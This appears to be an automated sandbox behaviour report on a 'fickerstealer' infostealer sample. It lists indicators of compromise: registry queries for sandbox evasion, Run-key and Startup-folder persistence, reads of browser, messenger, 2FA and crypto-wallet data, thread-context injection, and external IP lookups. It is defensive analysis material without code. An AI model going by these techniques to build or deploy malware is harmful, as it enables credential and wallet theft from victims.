fickerstealer | 2205e931fcca292889c4845eb2b0e961fc7b598c276b6abf71bb5cf6c59c1132

System Information Discovery

Processes:

o2pi7rWtc0wsSB9uAKJpmoAF.exe_GI7ImbCSq2Ho3nleczQdmGo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	o2pi7rWtc0wsSB9uAKJpmoAF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	o2pi7rWtc0wsSB9uAKJpmoAF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	_GI7ImbCSq2Ho3nleczQdmGo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	_GI7ImbCSq2Ho3nleczQdmGo.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

sonia_5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	sonia_5.exe

Drops startup file 2 IoCs

Processes:

Acre.exe.comSensitive.exe.com

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url	Acre.exe.com
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url	Sensitive.exe.com

Loads dropped DLL 13 IoCs

Processes:

setup_install.exesonia_2.exerundll32.exefPDkBOthQQsdGVMV6Q4t77Ch.exerundll32.exerundll32.exefcX7h3elF9UdEQUTRncFGR8P.exe

pid	process
3064	setup_install.exe
3064	setup_install.exe
3064	setup_install.exe
3064	setup_install.exe
3064	setup_install.exe
3064	setup_install.exe
2920	sonia_2.exe
2996	rundll32.exe
4308	fPDkBOthQQsdGVMV6Q4t77Ch.exe
5724	rundll32.exe
5764	rundll32.exe
4252	fcX7h3elF9UdEQUTRncFGR8P.exe
4252	fcX7h3elF9UdEQUTRncFGR8P.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\o2pi7rWtc0wsSB9uAKJpmoAF.exe	themida
behavioral30/memory/4272-343-0x0000000000990000-0x0000000000991000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

sonia_6.exeB101.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	sonia_6.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	B101.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\B101.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\B101.exe"	B101.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

o2pi7rWtc0wsSB9uAKJpmoAF.exe_GI7ImbCSq2Ho3nleczQdmGo.exegUz17ardkiMQC_2s_wpF_JR8.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	o2pi7rWtc0wsSB9uAKJpmoAF.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	_GI7ImbCSq2Ho3nleczQdmGo.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	gUz17ardkiMQC_2s_wpF_JR8.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 ipinfo.io
14 ip-api.com
15 ipinfo.io
167 api.ipify.org

flow	ioc
13	ipinfo.io
14	ip-api.com
15	ipinfo.io
167	api.ipify.org

Drops file in System32 directory 2 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent F56D506D85620D4A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

o2pi7rWtc0wsSB9uAKJpmoAF.exe_GI7ImbCSq2Ho3nleczQdmGo.exe

pid process

5072 o2pi7rWtc0wsSB9uAKJpmoAF.exe
4272 _GI7ImbCSq2Ho3nleczQdmGo.exe

pid	process
5072	o2pi7rWtc0wsSB9uAKJpmoAF.exe
4272	_GI7ImbCSq2Ho3nleczQdmGo.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

svchost.exeConhost.exeQi3nZf6AWEuvrfmwKbDahdhr.exeOLKbrowser.exeQi3nZf6AWEuvrfmwKbDahdhr.exeX08fjwG9nFIPhl4aq1YHr4w9.exemhnqSZHpnmitou2WkChXtYyC.exe1234.exeSensitive.exe.comAcre.exe.com

description	pid	process	target process
PID 492 set thread context of 3032	492	svchost.exe	svchost.exe
PID 4212 set thread context of 4308	4212	Conhost.exe	fPDkBOthQQsdGVMV6Q4t77Ch.exe
PID 4864 set thread context of 5084	4864	Qi3nZf6AWEuvrfmwKbDahdhr.exe	m2_lbMK7Yjk432ATbOXnES4r.exe
PID 4696 set thread context of 3132	4696	OLKbrowser.exe	OLKbrowser.exe
PID 4140 set thread context of 4864	4140	Qi3nZf6AWEuvrfmwKbDahdhr.exe	Qi3nZf6AWEuvrfmwKbDahdhr.exe
PID 5112 set thread context of 4440	5112	X08fjwG9nFIPhl4aq1YHr4w9.exe	X08fjwG9nFIPhl4aq1YHr4w9.exe
PID 4824 set thread context of 4184	4824	mhnqSZHpnmitou2WkChXtYyC.exe	mhnqSZHpnmitou2WkChXtYyC.exe
PID 5620 set thread context of 6996	5620	1234.exe	1234.exe
PID 4540 set thread context of 4740	4540	Sensitive.exe.com	RegAsm.exe
PID 6036 set thread context of 5540	6036	Acre.exe.com	RegAsm.exe

Drops file in Program Files directory 7 IoCs

Processes:

AvDoBSa82grLFIMVBohlezZ1.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe	AvDoBSa82grLFIMVBohlezZ1.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg	AvDoBSa82grLFIMVBohlezZ1.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg	AvDoBSa82grLFIMVBohlezZ1.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat	AvDoBSa82grLFIMVBohlezZ1.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe	AvDoBSa82grLFIMVBohlezZ1.exe
File opened for modification	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe	AvDoBSa82grLFIMVBohlezZ1.exe
File created	C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini	AvDoBSa82grLFIMVBohlezZ1.exe

Drops file in Windows directory 3 IoCs

Processes:

setup 326.exeMicrosoftEdge.exe

description	ioc	process
File created	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup 326.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2920	1192	WerFault.exe	sonia_3.exe
4728	4108	WerFault.exe	setup.exe
4340	4108	WerFault.exe	setup.exe
4928	4108	WerFault.exe	setup.exe
5464	4108	WerFault.exe	setup.exe
5548	4108	WerFault.exe	setup.exe
5784	4108	WerFault.exe	setup.exe
5836	4348	WerFault.exe	Chrome Update.exe
5524	4308	WerFault.exe	fPDkBOthQQsdGVMV6Q4t77Ch.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

fcX7h3elF9UdEQUTRncFGR8P.exesvchost.exemhnqSZHpnmitou2WkChXtYyC.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	fcX7h3elF9UdEQUTRncFGR8P.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	fcX7h3elF9UdEQUTRncFGR8P.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mhnqSZHpnmitou2WkChXtYyC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mhnqSZHpnmitou2WkChXtYyC.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

6068 timeout.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

5284 taskkill.exe
5244 taskkill.exe

pid	process
6068	timeout.exe

pid	process
5284	taskkill.exe
5244	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

svchost.exemAkkyYMaQh8SHHK3Lqn2V0Gp.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	mAkkyYMaQh8SHHK3Lqn2V0Gp.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exerundll32.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
